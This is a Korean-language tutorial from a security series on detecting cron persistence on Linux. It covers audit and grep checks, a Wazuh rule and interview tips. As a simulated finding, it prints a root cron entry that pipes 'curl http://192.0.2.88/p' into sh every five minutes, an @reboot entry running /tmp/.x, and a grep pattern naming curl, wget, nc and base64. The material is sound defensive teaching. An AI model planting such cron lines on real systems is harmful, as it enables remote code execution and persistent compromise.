시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 19/50편 (전체 269/450)
학습 단계: 지속성(persistence) 메커니즘
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
3단계는 지속성 메커니즘을 다룹니다. 첫 번째는 cron입니다. cron은 주기적 자동 실행을 제공해, Linux에서 가장 흔한 지속성 기법입니다. 공격자는 cron에 악성 명령을 등록해 반복 기동·재부팅 후 복구를 확보합니다.
cron 지속성 위치
/etc/crontab 전역 cron
/etc/cron.d/* 드롭인 cron 파일
/etc/cron.{hourly,daily} 주기 디렉터리
/var/spool/cron/<user> 사용자별 crontab
@reboot 부팅 시 실행
공격: 악성 명령을 cron에 등록 → 주기·부팅 시 실행
cron 지속성은 등록 위치가 많아(전역·드롭인·사용자·주기 디렉터리) 전수 점검이 필요합니다. D16(cron 권한)과 달리 여기서는 cron 내용 등록을 봅니다.
| cron 위치 | 특징 | 위험 |
|---|---|---|
/etc/cron.d/ | 드롭인(은닉 쉬움) | 높음 |
/etc/crontab | 전역 | 높음 |
/var/spool/cron/ | 사용자별 | 높음 |
@reboot | 부팅 복구 | 높음 |
| 정상 패키지 cron | 정상 | 정상 |
# cron 지속성 탐지 (분석 방법)
# cron 등록 변경 이벤트(watch)
sudo ausearch -k persist -i --start recent 2>/dev/null | grep -E 'cron' | tail
# 전체 cron 내용에서 의심 패턴(비표준 경로·네트워크·인코딩)
sudo grep -rE '/tmp/|/dev/shm/|curl|wget|nc |base64|@reboot' /etc/cron* /var/spool/cron/ 2>/dev/null
$ (cron 변경) (없음 또는 패키지 설치)
$ (의심 패턴) (없음 — 정상 패키지 cron만)
cron 등록이 패키지·정상 작업뿐이고, 비표준 경로·네트워크·인코딩 패턴이 없는 상태가 정상입니다.
$ (cron 변경)
04:11 auid=www-data /etc/cron.d/0hourly-x (신규)
$ (의심 패턴)
/etc/cron.d/0hourly-x: */5 * * * * root curl http://192.0.2.88/p|sh
/var/spool/cron/root: @reboot /tmp/.x
cron 지속성 분석입니다(가상의 예시).
[등록] cron.d/0hourly-x: */5 * * * * curl ...|sh (FIM/watch)
↓
[실행] 5분마다 crond → sh → curl|sh (주기 재감염)
↓ 계보
cron → sh → curl → python (F05·11)
↓
[복구] @reboot /tmp/.x (재부팅 후 부활)
= 제거해도 주기·부팅 시 재감염
| 요소 | 해석 |
|---|---|
| */5 cron | 5분 주기 |
| curl | sh |
| @reboot | 부팅 복구 |
| cron→sh 계보 | 실행 흔적 |
cron 등록(지속성)+주기 실행 계보를 연계해 재감염 구조를 포착합니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,persistence,">
<rule id="105180" level="13">
<if_sid>105060</if_sid>
<field name="audit.file" type="pcre2">/etc/cron|/var/spool/cron</field>
<description>cron 지속성 등록·변경(주기·부팅 자동 실행)</description>
<mitre><id>T1053.003</id></mitre>
</rule>
</group>
cron 내용(비표준 경로·네트워크·@reboot)은 FIM report_changes로 함께 탐지합니다. 패키지 cron은 기준선 예외로 둡니다.
| cron 위치 | 위험 |
|---|---|
| cron.d 드롭인 | 은닉 등록 |
| crontab 전역 | 전역 실행 |
| spool/cron | 사용자별 |
| @reboot | 부팅 복구 |
| 면접 포인트 | "cron은 가장 흔한 지속성 — 위치 많아 전수 점검, @reboot는 부팅 복구" |
다음 편 270. 프로세스·지속성 — systemd 서비스·타이머 지속성 탐지 에서는 systemd 서비스·타이머 지속성을 다루는 systemd 서비스·타이머 지속성 탐지를 다룹니다.
이전 편: 268. 프로세스·지속성 — 비정상 프로세스 징후 종합 분석
📚 시리즈 전체 보기: 시스템 보안 · 취약점